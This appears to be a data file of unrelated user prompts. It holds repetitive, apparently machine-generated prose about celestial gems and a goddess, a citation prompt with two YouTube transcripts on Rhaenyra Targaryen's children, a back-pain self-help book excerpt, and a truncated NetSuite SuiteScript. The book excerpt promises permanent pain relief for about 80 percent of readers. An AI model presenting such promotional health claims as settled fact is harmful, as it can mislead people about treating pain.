grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese ornate primordial ethereal gems of mine,\nAdorning the finest haute couture garments,\nA true display of opulence and splendor.\n\nIn the world of haute couture and luxury,\nWhere beauty and elegance reign supreme,\nWe are awed by the ornate splendor\nOf primordial ethereal celestial gems.\n\nEach gem holds a universe within,\nA world of mystery and wonder to begin,\nEmbellished with delicate fractal patterns,\nA cosmic beauty that leaves us in awe.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are captivated by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese haute couture ornate primordial gems of mine,\nAdorning the finest garments with opulence and splendor,\nA true display of luxury and elegance.\n\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems. In the center of the room, a runway showcases the latest in haute couture fashion, with garments adorned with the same ornate primordial ethereal celestial gems, creating a dazzling display of luxury and elegance.\n\nThe dress is a masterpiece of haute couture, with a bodice adorned with ornate primordial ethereal celestial gems that seem to contain within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design.\n\nThe dress is a true work of art, crafted with expert precision and attention to detail. The bodice is adorned with ornate primordial ethereal celestial gems that seem to radiate with an otherworldly light, as if containing within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design. The haute couture craftsmanship is evident in every detail, from the ornate primordial ethereal celestial gems to the sparkling cosmic luxury, creating a garment that is truly one of a kind.\nSure, the goddess wearing the dress might be a stunningly beautiful and otherworldly being, with long flowing hair and delicate features. She might have a regal bearing, exuding a sense of grace and elegance. The dress would complement her beauty perfectly, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess would radiate with an ethereal light, giving the impression of a being from another world. She would be the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nThe goddess is a stunningly beautiful and otherworldly being, with long flowing hair that cascades down her back in golden waves. Her delicate features are perfectly proportioned, with large, luminous eyes that seem to contain within them the secrets of the universe. Her lips are full and sensual, with a hint of a smile playing at the corners of her mouth. She has a slender, graceful figure, with curves that are accentuated by the flowing lines of the dress. The dress is a perfect complement to her beauty, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess radiates with an ethereal light, giving the impression of a being from another world. She is the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nIt is difficult to say where this goddess might live, as her otherworldly beauty and ethereal radiance suggest that she is not of this world. She could potentially live in a realm beyond our own, in a celestial realm of beauty and splendor, where the ornate primordial ethereal celestial gems are a common sight. Alternatively, she could live in a fantastical world of her own creation, where the beauty and luxury of the dress and gems are a reflection of her own magnificent power and majesty. Wherever she lives, it is certain that she is surrounded by beauty and splendor, and that her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\n\nThe goddess is a truly otherworldly being, with a beauty and grace that is beyond compare. She lives in a realm beyond our own, in a celestial realm of unimaginable splendor and opulence. The realm is filled with ornate primordial ethereal celestial gems, which adorn the walls and pillars of the grand palaces and temples. The gems radiate with an otherworldly light, giving the realm a soft, ethereal glow. The goddess herself is adorned with the same ornate primordial ethereal celestial gems, which are intricately crafted and embellished with delicate fractal patterns. She wears a flowing dress of the finest haute couture, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of otherworldly elegance and opulence, creating a truly breathtaking and unforgettable spectacle. The goddess is surrounded by beauty and splendor, and her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\nIt is difficult to say exactly what the goddess\' surroundings look like, as we do not have any specific information about her realm or location. However, based on the description of her ornate primordial ethereal celestial gems and the luxurious haute couture dress she wears, it is likely that her surroundings are similarly opulent and beautiful. The realm may be filled with grand palaces and temples, adorned with the same ornate primordial ethereal celestial gems that the goddess wears. The gems may radiate with an otherworldly light, giving the realm a soft, ethereal glow. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle.\n\nSure, the grand palaces and temples in the goddess\' realm may be truly magnificent structures, with intricate architectural details and opulent decor. The palaces may be constructed from the finest materials, with walls and pillars adorned with ornate primordial ethereal celestial gems that radiate with an otherworldly light. The gems may be intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The temples may be equally grand and impressive, with towering spires and ornate carvings and sculptures. The overall effect may be one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable spectacle. The grand palaces and temples may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance.\nThe interior design and architecture of the temples and palaces in the goddess\' realm may be truly impressive and grandiose. The interior spaces may be filled with luxurious furnishings and decor, including plush carpets and cushions, elaborate tapestries and paintings, and gleaming golden ornaments and statues. The walls and pillars may be adorned with ornate primordial ethereal celestial gems, which radiate with an otherworldly light and add to the already impressive opulence of the space. The architecture of the temples and palaces may be equally impressive, with grand arches and soaring domes, intricate carvings and sculptures, and elaborate stained glass windows that depict scenes from the goddess\' realm and beyond. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle. The interior design and architecture may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance."' -'Use explicit references in the script text below by referencing the respective section for example to answer the initial prompt: "How many legitimate children does Rhaenyra have?"\n\nExplicit Reference = [Source #, textminute.textsecond]\n\nReference evidence IN BOTH Source 1 and Source 2 below that support the answer with sections of the text below (e.g. I think that Rhaenyra had this many kids and this is why [Explicit Reference] )\n\nMore specific example to emulate is: "According to Source 1, [evidence of opinion] [Source 1, 14.88]. [Evidence of opinion] [Source 1, 38.21].\n\nHowever, Source 2 indicates [evidence of opinion by GPT]. [evidence of opinion] [Source 2, 29.52]. It is also noted that [evidence of opinion] [Source 1, 3.259].\n\nSource 2 also implies that [evidence of opinion by GPT]. [evidence of opinion by GPT] [Source 2, 51.899].\n\nFinally, it is worth noting that [evidence of opinion by GPT] [Source 2, 147.66].\n\nIn summary, [overall conclusion by GPT]"\n\nSOURCE 1: Were Rhaenyra Targaryen\'s first three children Illegitimate?? ASOIAF/ Fire and Blood Theory!!\nurl youtube.com/watch?v=erIer4Z1RmM\ntranscript\n0.0 when you play the game of thrones\n1.36 subscribe and like\n3.04 or you die\n5.52 there is no middle ground\n8.4 all right hello youtube and welcome back\n9.519 to the grease goblin youtube channel in\n10.88 today\'s video we\'re going to be talking\n12.639 about oran ray nearest first three\n14.88 children with lane or velaryon\n17.84 legit or were they actually bastards by\n21.119 rhaenyra and harwin strong but before we\n23.279 get into this video if you guys like to\n24.56 like subscribe and comment for more this\n26.16 type of content please do it helps the\n27.92 channel reach more people that also\n29.679 might like this content\n31.199 and let\'s get into it so\n33.76 was rhaenyra\n35.52 kind of messing around with harwin\n36.88 strong\n38.0 the quick answer is yes i i definitely\n39.76 think she was if you look at her first\n41.28 three children\n43.12 none of them have the normal targaryen\n45.84 features right they all come out with\n47.2 brown hair they\'re all kind of bigger\n49.84 stronger looking kids\n52.079 and the biggest thing for me is the\n53.76 brown hair because it very much kind of\n56.079 goes back to\n58.399 robert you know with his kids in the or\n60.719 his not his kids jamie and cersei\'s kids\n62.96 within the normal show it\'s a good\n64.64 parallel to that\n66.0 i think you know rainier as a character\n68.32 very much is kind of a direct mirror\n71.04 almost of cersei which is something i\n72.96 will talk about in the rhaenyra video\n74.88 that i\'m going to be doing this week so\n76.32 stay tuned for that\n77.84 but if you look at it i think\n80.32 rhaenyra had a husband that was gay i\n82.96 most characters know he was gay at this\n84.799 point in the story\n86.4 it was heavily you know hinted by by\n88.64 multiple characters\n90.4 and\n91.84 really i don\'t see that there was any\n93.36 type of way that you know leonard was\n95.04 going to get kids on to rainier\n97.68 so rhaenyra kind of being you know a\n100.56 teenager at this point was you know she\n102.96 wanted the companion companionship of\n104.799 another guy and i think this came with\n106.88 harwin strong we know that you know he\n109.6 was going after her and we i think there\n112.32 are some hints that rhaenyra was kind of\n114.96 kind of liked harwin a little\n116.96 but we have no confirmation if rainier\n119.68 and harwin ever did hook\n122.079 we just know by\n124.0 other characters right that they a lot\n125.52 of people point to that these children\n127.2 were illegitimate and the greens try to\n129.599 use this as something that\n131.52 you know to go against raniero why\n133.04 rainier shouldn\'t be\n134.72 you know in power\n136.4 and again this doesn\'t make any sense\n138.0 because even if those children are\n140.0 illegitimate it doesn\'t matter like\n142.48 rhaenyra had still been named the air by\n144.4 viserys anyway\n146.08 but\n146.879 it was just another thing to smear\n148.48 rhaenyra basically\n150.64 now\n151.519 with this being said if you look at all\n153.36 the features like i talked about with\n154.959 rainier\'s children\n157.28 i think it\'s fairly obvious these\n158.72 children aren\'t laners if we look at\n160.4 lanar\'s kind of personality and\n163.44 who he was\n164.879 he was never at court with rhaenyra\n167.76 he they\'re i just feel like there was no\n170.0 time for this to have ever happened\n171.76 where rhaenyra would have been with\n173.28 lenore\n174.4 um i think harwin strong would be the\n176.239 perfect character for\n178.159 rainier to get pregnant with\n180.239 and it makes a lot of sense looking at\n182.48 kind of how they are and it wouldn\'t\n184.48 also it wouldn\'t affect\n186.56 their whole dragon riding thing because\n188.239 rainier is still targaryen so that\n189.76 wouldn\'t matter either\n191.519 um also lanor\'s hair was very kind of\n194.64 targaryen like you know with the like\n196.48 light hair and stuff like that and none\n198.72 of their children came out like that\n200.319 it\'s just\n202.319 i think if we\'re going to say that\n204.4 harwin strong is the father i think\n206.239 that\'s fine but i think\n208.0 something that is a hundred percent\n209.519 clear is these are not leonard\'s\n211.04 children there\'s no way\n213.2 like\n214.08 their two hair color and their two like\n216.72 genetics and stuff like that would not\n218.08 equal them all having brown hair like\n220.159 maybe one like out of just nowhere maybe\n222.4 get some randomness but\n225.12 they all would not come out like that\n227.84 so to me i feel like it\'s pretty obvious\n230.48 these are not right near as kids and i\n232.4 think this is a really good mirror to\n234.08 cersei where percy gets kind of forced\n236.879 to marry robert it\'s not the person she\n238.48 wanted to marry but she does her duty\n242.48 and for different circumstances right\n245.12 like robert kind of abused cersei and\n247.28 was not really a good husband to her\n250.4 um rhaenyra kind of got a situation that\n252.959 was different but it\'s also something\n254.72 where not a good husband really\n256.88 can\'t really give you companionship\n258.479 can\'t really give you kids so they look\n260.639 for companionship in other ways cersei\'s\n262.4 was a lot more screwed up with her\n264.16 brother\n265.04 but you know you can see the parallels\n267.6 and then you have also that the children\n269.28 kind of have that hair that\'s always a\n271.759 big thing when they talk about rainier\n273.44 as children in fire and blood is the\n275.04 hair color\n276.32 um something that\'s huge within the\n277.84 books as we know it\'s one of the big\n279.12 reasons why ned is able to figure out\n280.8 that these are not robert\'s\n282.4 kids\n283.28 i think it\'s pretty clear that these are\n285.919 not rainiers\n287.68 let me know if you guys have a different\n288.88 opinion or maybe why you think these\n290.4 maybe are lanor\'s children or if there\'s\n292.4 somebody else\'s children\n294.08 i really don\'t think you can point to\n295.199 dame on because if we look at damon\n296.8 later on like they have the targaryen\n298.639 features that\'s something else i would\n300.24 even point to is that\n301.919 planor has features of you know\n304.32 valyrians and stuff like that because\n305.84 the valerians are like part valyrian\n309.28 so\n310.639 they should have had these type of\n312.16 features also they didn\'t have like the\n313.68 purple eyes or anything like that\n315.6 so again\n317.199 just more evidence to why this pro these\n319.44 these kids probably weren\'t rainy or\n321.199 they were right here as they weren\'t\n322.4 laenors so yeah i will see you guys all\n324.72 in the next video i hope you guys\n325.759 enjoyed this one and bye guys\n329.039 if you think this has a happy ending\n331.84 you haven\'t beaten paying attention\nSOURCE 2: Rhaenyra & Daemon Targaryen\'s 2 sons (House of the Dragon)\nurl youtube.com/watch?v=6zfOQ5gPevo\ntranscript\n0.0 after the six or so year time jump from\n2.52 episode 7 Damon\'s baby making hot streak\n4.98 continues after all his relationship\n6.899 struggles in the past his two daughters\n9.12 with Dana Valyrian are all grown up now\n10.92 but he has two new babies with renera\n13.259 after their secret marriage and one on\n15.54 the way her pregnancy wasn\'t explicitly\n17.699 stated in episode 8 but all that belly\n19.859 holding an oversized robes gave it away\n21.9 even though this episode was like 10\n24.06 minutes longer in the format HBO has\n25.859 made us accustomed to the new blondies\n27.72 only got like 20 seconds of camera time\n29.519 renira and Damon introduced their true\n31.92 born children to the king of the series\n33.6 while he laid there half Delirious from\n35.94 all the painkillers shoved down his\n37.14 throat can you blame him for being high\n38.76 24 7. the man\'s body has been falling\n41.1 apart for the past 20 years very slowly\n43.5 and painfully at that too seeing baby\n45.78 aegon in the series brings a little life\n47.76 into his eyes even musstruct energy to\n49.98 make a joke about little viserys having\n51.899 a name Fit For A King then the crying\n54.239 started and he had to be left alone\n55.62 again aegon adversaries are easily\n58.199 looked over despite how important they\n59.76 actually are because of actor Patty\n61.98 considine playing off the performance of\n63.539 a lifetime George R Martin had to come\n65.82 out and praise his work this week saying\n68.04 it wouldn\'t be Justice unless he got an\n69.42 Emmy anyone who\'s read the books knows\n71.64 Patty has to create this entire\n73.08 character from little to no Source\n74.939 material on the Targaryen King he might\n77.1 just be the least fleshed out King of\n78.6 the Seven Kingdoms in the entire story\n80.1 but we got from the lore was that he was\n82.2 a pushover who could never stay mad at\n84.0 Damon and ranera no matter how bad their\n85.979 actions were Martin\'s exact words on his\n88.38 blog post was a character he created for\n90.72 the show was so much more powerful and\n92.58 tragic and fully fleshed and my own\n94.619 version in Fire and Blood that I am half\n96.36 tempted to go back and rip up those\n97.799 chapters and rewrite the whole history\n99.78 of his Reign big praise one of the most\n102.6 celebrated men in literature and\n104.22 television and very well deserved people\n106.799 are going to be talking about that\n107.82 throne room scene for a long time even\n109.799 though the bit about runera feeding\n111.36 Cyrax or corpse of Fame and valerion\n113.399 didn\'t make the cut episode 8 and even 7\n116.159 have been so damn good season 1 of Game\n118.56 of Thrones good and this is just a\n120.6 preliminary stuff that I didn\'t think\n122.28 the showrunners were going to bother to\n123.72 include Martin also comments on some of\n126.36 the random accelerated pacing that\n127.979 plagued the middle of the Season he\'s\n129.78 still fighting for a 13 episode season\n131.58 like he did with Game of Thrones\n133.739 they gone into series maybe victims of\n136.02 the too much story not enough Air Time\n138.18 problem guys like me are here to talk\n140.76 about them to help you fall in love with\n142.319 these characters a little more I know\n144.54 they have to get the short end of the\n145.86 stick if the series and elephant\'s\n147.66 fourth child is just existing off screen\n149.94 because there wasn\'t enough time to\n151.68 mention Darren\'s been living with the\n153.239 high towers of an Old Town nine-year-old\n155.76 aegon and his little brother 7 year olds\n157.8 viserys have been adapted as babies that\n160.319 could very well be twins like Bela and\n162.48 Reina were written as I mean Lena was\n164.819 aged down for the show so why can\'t the\n166.8 same be done for aegon adversaries they\n169.14 look like a three-year-old and\n170.28 two-year-old to me I wonder if casual\n172.26 viewers are thrown off by their names\n173.7 naming her firstborn with Damon aegon is\n176.76 perceived by Allison to be a slight\n178.8 against her own firstborn son named\n180.9 aegon it is a kind of weird thing to do\n182.879 Allison\'s son has to be referred to as\n185.04 aegon the Elder and renires is called\n187.08 aegon the younger aegon\'s a significant\n189.18 name targaryens repeatedly named their\n191.519 sons in honor of the first King of the\n193.2 Seven Kingdoms there\'s almost One in\n195.0 Every Generation the series the series\n197.159 and Joffrey valerion were given out of\n199.26 the norm names for the Targaryen family\n201.18 which kind of seems intentional by\n203.04 George Martin\'s part to categorize them\n204.84 as bastards if people were to reject the\n207.48 Suns we never had with Homan strong\n209.099 there was still nothing they could say\n210.84 about the legitimacy of these two very\n213.0 Targaryen babies just look at them aemid\n215.879 won\'t be making fights with these\n216.9 nephews for being fakes\n218.76 demons are excited digging through\n220.739 Dragon layers on the island Dragonstone\n222.599 hopes of finding some eggs for his new\n224.519 family we didn\'t see her in this episode\n226.26 but Cyrax was responsible for laying\n228.599 these eggs hernia\'s bonded dragon is one\n230.94 of the only dragons mentioned in the\n232.379 story to be a baby maker takes after\n234.06 rhaenyra two eggs will be placed in\n236.34 aegon and the series Cradle to create\n238.14 that early Bond and the third will be on\n240.06 standby for the yet to be born\n241.5 targaryens to learnero will be fun to\n244.08 see the similarities of the special\n245.519 effects team make the hatchlings match\n247.799 Dragon mommy I\'m surprised Damien made\n250.319 it in and out of the lair without\n251.64 encountering any dragon whatsoever it\n253.92 would make sense if Cyrax likes her\n255.48 space and doesn\'t mind Damon digging\n257.579 through her stuff but there are a lot\n259.199 more dragons on Dragonstone including\n261.359 the three belonging to series Osiris and\n263.699 Joffrey some wild ones too that had\n265.8 never been tamed that would make a quick\n267.479 work of Damon but anyways aegon of a\n270.12 series have secured eggs that\'s all\n271.919 tells us about them the books on the\n273.9 other hand dive a little deeper into\n275.4 their characterization both boys have\n277.68 that striking Targaryen and aegon is\n280.44 very visibly the stronger one of the two\n282.24 not just because he\'s two years older\n283.8 but viserys was actually born quite\n285.84 frail nothing like Grandpa leprosy over\n288.0 here but just your average sickly child\n289.919 he makes up for it by being the more\n291.9 mature intelligent one the series was\n294.06 seen as the old King reborn who is\n296.52 objectively the best King in the story\n298.139 but for series his son number five for\n300.54 Nero very far down the list for\n302.699 succession that\'s if you even consider\n304.68 renera the heir to Iron Throne you know\n307.139 how men in his primitive fictional world\n308.88 to be the prospect of being ordered\n310.74 around by a woman none of these two boys\n312.84 really take after their parents\n314.28 personality wise that is the environment\n316.74 they\'re about to step into about the\n318.24 second season of House the dragon is\n319.919 what will form who they become that\'s as\n322.38 far as uncomfortable going with a\n324.06 spoiler-free video for now they\'re just\n326.1 two little babies that love each other\'s\n327.96 company this is one of the deepest\n329.4 brotherly Bonds in the story I\'m talking\n331.199 Jaime and Tyrion close wholesome stuff\n333.96 the original idea of this prequel being\n336.12 Five Seasons may turn out to only be\n338.34 Four Seasons Martin ended his recent\n340.62 blog post on his website from October\n342.479 11th saying it is going to take four\n344.52 full seasons of 10 episodes each to\n346.62 adjust this to the dance of dragons from\n348.66 start to finish that doesn\'t leave a lot\n350.759 of time for aegon and viserys I guess I\n353.1 gotta be appreciative for every second\n354.72 they get' -'CHAPTER ONE\n The Promise\n From Chris\nBack pain is the monster in most of our lives. The ogre under the bed. The ogre that lands you in bed all too often. Or on the floor . . . flopping around in pain. Like a sunfish on a hot cement dock. \nMost Americans know that pain well. Know the agony, the sudden sickening return after it’s been gone for a while. The canceling of plans, the loss of a job. Everything. They cannot live with it—not really live—and they would do anything for relief. But there is no relief. They’ve tried everything, and nothing works. Nothing meaningful, anyway. Back pain sufferers spend an average of $2,500 a year for palliative “fixes,” but they get precious little in return. They’d spend more—they’d spend anything—if the fixes really worked. But most don’t. Or not very well. Or not for long. People structure their lives around the pain as best they can, but that doesn’t work either, because you never know when it’s going to hit. \nAnd when it comes, it’s not like a sore shoulder or a bum leg; you can’t use the other arm instead. You can’t limp along with a cane, relying on the good leg. When your back is the problem, everything goes, and you’re cooked. When your back hurts, your life hurts. And you can’t do a damned thing. \nTHE PROMISE\nThat is about to end. You are going to have trouble believing that sentence, but it’s true. That pain is about to go away or be sharply reduced. And the change is going to be permanent. For about 80 percent of you, anyway. That’s an astonishing promise, and it’s absolutely true. We know of nothing else in the field that comes close. \n“Success” means either the permanent elimination of pain (the result for most of you) or a reduction of its severity from the 7–10 level—on a scale of 1–10 (that’s agony)—to the 1–3 level (that’s a nuisance). Blessed, blessed relief, either way. As I say, it is only going to work for about 80 percent of you, but that’s a near-miracle. And Jeremy has solid suggestions for the rest of you, too. (See Chapter 4 to learn if you’re in the 20 percent and find out what to do.) But remember the main point: For 80 percent of you, the pain stops here.\nWe hope that the “you” in that sentence is an enormous number of people. Jeremy is a modest man but he knows what he can do—what he has done—and he is ambitious about taking his protocol to a much broader audience. Indeed, he wants to start a revolution in back pain care in America, starting with you, and he wants it to be universal and cheap. He thinks—he and I think—that it can be done in a book. That sounds wild—that this horrendous problem can be fixed with such a modest tool. But it’s not. Because back pain is all about behavior, and you can deal with behavior in a book. As you will learn in a moment, the vast majority of you created your back pain with your own, long-term behavior. And only you can fix it, with profound changes in that behavior. It is a matter of showing you what you did before that made a mess of your back, and teaching you what you have to do now. And then you doing it. Jeremy explains, and he shows you how. You do the work. You will succeed. A surprise, perhaps one you will have trouble getting your head around at first. But it’s true: You will succeed. \nSo how bad is the problem? Pretty bad, as most of you know. Four out of five of us have back pain so bad we seek help from health care professionals. The nation as a whole spends $100 billion on the problem. It does more to disrupt business than anything else. And, of course, it raises hell with millions of lives. For some, it is a recurring nuisance, something that takes the joy out of the day, the week, the month. For more of us, it is an intermittent horror, with the pain at the agony level and we just can’t move. Your wife calls your host for dinner: “Bill is flat on his back on the floor. We may have to go to the hospital. Sorry.” You can’t go out to dinner; you can’t perform your duties. Hell, you can’t get off the floor! It ruins careers, messes up companies, trashes marriages, and raises holy hell with just about everything else. For most, it comes and goes, but when it comes . . . it’s just god-awful. Oh lord! What do you do?\nNot much, until now. There’s conventional medicine—which is such a blessing in so many areas of our lives—but it is apt not to be great for back pain. For extreme cases (the 20 percent we mentioned), there is surgery, and for them it may be the only option; Jeremy will alert those who should be thinking about it. But surgery—tremendously important and successful for some—is not the answer for most of you. It is well known, for example, that at least one popular operation—spinal fusion—is one of the most overprescribed operations in the country. It is a serious operation (it costs about $100,000), it is often unnecessary, and it often doesn’t work. Not for long, anyway, and sometimes not at all. That is scary. Jeremy, and the best surgeons, all say that surgery should be a last resort. There are other “medical” steps, like cortisone or other shots, but, once again, relief is temporary, there can be serious side effects, and there are limits to how often you can go there. The basic problem with traditional medicine and back pain is that they are not a very good fit. Western medicine is not heavily focused on behavioral problems and behavioral change; it simply did not grow up that way. And back pain is primarily a behavioral problem. Which means that, ultimately, only you can fix it. \nDon’t worry if this concept doesn’t quite sink in at the first reading. It’s what the whole book is about. We’ll get there. Together. \nA Younger Next Year Book\nI say “we’ll get there together,” and that’s an important part of the book and the cure. This is “a Younger Next Year” book. That means several things, as some of you know. First, it means there is a presentation by two writers, a deadly serious professional scientist (that’s Jeremy for this book . . . it was Harry Lodge in the first Younger Next Year books) and a layman (me). As I used to say of Harry and as I now say of Jeremy: “He’s young and smart, and I’m old and funny.” The pairing is supposed to make the book easier to follow (and maybe just a teeny bit fun to read) without losing a whisper of scientific integrity. The scientist is in charge throughout, but reading the book should not make your teeth hurt. Not hurt badly, anyway.\nIt also means that the core idea is that behavioral change can have a profound effect on your wellness and quality of life. Far more of an effect, in important areas, than the best conventional medicine. The “modest” boast in the original Younger Next Year book was that behavioral change could put off 70 percent of aging until close to the end of life, and eliminate 50 percent of the most serious diseases completely. Which was absolutely true; no one has ever disagreed. Over 2 million people bought Younger Next Year (in twenty-three languages) and made it a cult book for those over forty, many thousands of whom profoundly changed their lives. A huge number of people have come up to me and Harry over the years to say, “Hey, man, thanks for writing that book; it changed my life.” Nice.\nThe Younger Next Year Back Book is a little more specific: Behavioral change—spelled out by Jeremy—can end or radically reduce back pain. But the consequences for back pain sufferers are every bit as important. I was with Jeremy recently when a guy in his fifties said to me that he’d come to Jeremy the previous summer, after a lifetime of serious back pain: “I could not bend over to lace my own shoes. I’d been in agony for decades. And Jeremy simply fixed it. Jeremy gave me my life back.” Jeremy has a thousand stories like that. More than a thousand. We hope to have a million before we’re done.\nFinally, it means that the book has a certain integrity. Harry and I went to great lengths to make Younger Next Year solid—conservative, if anything. To the best of our knowledge, there was not a single exaggeration, and certainly not a single misstatement. Jeremy and I have done the same here. Dealing with back pain is an evolving field, and some things we say may turn out to be wrong as people learn more. But not the basic lines and not the major claims. The book is as solid as we can make it, and it will stand up. As Younger Next Year has done, strikingly. \nJeremy came to me with the idea for doing this book together because he thought YNY and his story had “the same genes.” Which was quite right. Beyond that, Jeremy is a “good guy”; he wants to do good in this world, and the fact that back pain makes such a mess of so many lives—unnecessarily in his view—makes him crazy. He knew how successful the Younger Next Year books had been, he knew me, and he thought that maybe the two of us could pair up and get the word out . . . change the world of back pain.\nSo that’s our modest goal here—first Jeremy’s and now mine: We just want to, you know, change the world. And eliminate back pain for millions. Hey, couldn’t hurt. Along the way we hope to make a couple of billion dollars ourselves but Jeremy’s great motivation is to change the world of back pain. Pretty good guy, Jeremy. \nNow, let’s have a quiet word about some things this book won’t do. It won’t do any good if you just stick it under your pillow, for example. You have to read it. Closely. We’ll make that as easy as we can but it ain’t always going to be a walk on the beach. Then, by heaven, you have to go to work yourself on the cure. You have to do the initial fixes yourself. And then' -'that makes no sense. You are using a bunch of random data and not the original script\n\nhere is the original script:\n/\\*\\*\n \\* Module Description\n \\* \n \\* Version Date Author Remarks\n \\* 1.00 22 Jul 2017 charliepuyod\n \\*\n \\*/\n\nfunction getPromoPrices(){\n var column = [new nlobjSearchColumn("custrecord\\_parent\\_promo",null,"GROUP")];\n var ppm = nlapiSearchRecord("customrecord\\_special\\_pricing\\_detail",null, [\n ["custrecord\\_detail\\_customer","anyof","@NONE@"], \n "AND", \n ["custrecord\\_parent\\_promo","noneof","@NONE@"]\n ],column);\n \n var promoprices = [];\n for(var i = 0; i < ppm.length; i++){\n promoprices.push({ type: "customrecord\\_promo\\_header", id: ppm[i].getValue(column[0]) });\n }\n return promoprices;\n}\n\nfunction scheduled(type){ \n \n var context = nlapiGetContext();\n var recordType = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_rectype\');\n var recordId = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_recid\');\n \n if(recordId){\n run(recordId, recordType, context);\n } else {\n var ppm = getPromoPrices() || [];\n nlapiLogExecution(\'DEBUG\', \'Promo Prices\', ppm.length);\n \n for(var i = 0; i < ppm.length; i++){\n run(ppm[i].id, ppm[i].type, context);\n context = nlapiGetContext();\n nlapiLogExecution(\'debug\', \'remaining usage\', context.getRemainingUsage());\n if (context.getRemainingUsage() <= 500) {\n var status = nlapiScheduleScript(context.getScriptId())\n if ( status == \'QUEUED\' )\n break;\n }\n }\n }\n}\n\n/\\*\\*\n \\* @param {String} type Context Types: scheduled, ondemand, userinterface, aborted, skipped\n \\* @returns {Void}\n \\*/\nfunction run(recordId, recordType, context) {\n try {\n \n var record = nlapiLoadRecord(recordType, recordId);\n if (recordType == \'customrecord\\_promo\\_header\') {\n var recordStatus = record.getFieldValue(\'custrecord\\_promohead\\_status\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n if (recordStatus == 8) {\n var copiedFrom = record.getFieldValue(\'custrecord\\_promohead\\_copiedfrom\');\n var filter = new nlobjSearchFilter(\'custrecord\\_parent\\_promo\', null, \'anyof\', copiedFrom);\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', copiedFrom]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n var index = 0;\n var max = 1000;\n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n nlapiLogExecution(\'DEBUG\', \'sp Id\', schDetail[i].getId());\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var item = schDetail[i].getValue(\'custrecord\\_detail\\_item\');\n var option = schDetail[i].getValue(\'custrecord\\_detail\\_option\');\n var basePrice = schDetail[i].getValue(\'custrecord\\_detail\\_baseprice\');\n var usualPrice = schDetail[i].getValue(\'custrecord\\_detail\\_usualrate\');\n \n var qty1 = schDetail[i].getValue(\'custrecord\\_detail\\_qty1\');\n var price1 = schDetail[i].getValue(\'custrecord\\_detail\\_rate1\');\n \n var qty2 = schDetail[i].getValue(\'custrecord\\_detail\\_qty2\');\n var price2 = schDetail[i].getValue(\'custrecord\\_detail\\_rate2\');\n \n var qty3 = schDetail[i].getValue(\'custrecord\\_detail\\_qty3\');\n var price3 = schDetail[i].getValue(\'custrecord\\_detail\\_rate3\');\n \n var qty4 = schDetail[i].getValue(\'custrecord\\_detail\\_qty4\');\n var price4 = schDetail[i].getValue(\'custrecord\\_detail\\_rate4\');\n \n var qty5 = schDetail[i].getValue(\'custrecord\\_detail\\_qty5\');\n var price5 = schDetail[i].getValue(\'custrecord\\_detail\\_rate5\');\n \n var customersStr = schDetail[i].getValue(\'custrecord\\_detail\\_customer\');\n var customerArr = customersStr.split(",");\n nlapiLogExecution(\'DEBUG\', typeof customerArr1);\n \n nlapiLogExecution(\'DEBUG\', \'customers length\', customerArr.length);\n var marketing = schDetail[i].getValue(\'custrecord\\_detail\\_marketingprice\');\n var newDetail = nlapiCreateRecord(\'customrecord\\_special\\_pricing\\_detail\');\n \n newDetail.setFieldValue(\'custrecord\\_parent\\_promo\', recordId);\n 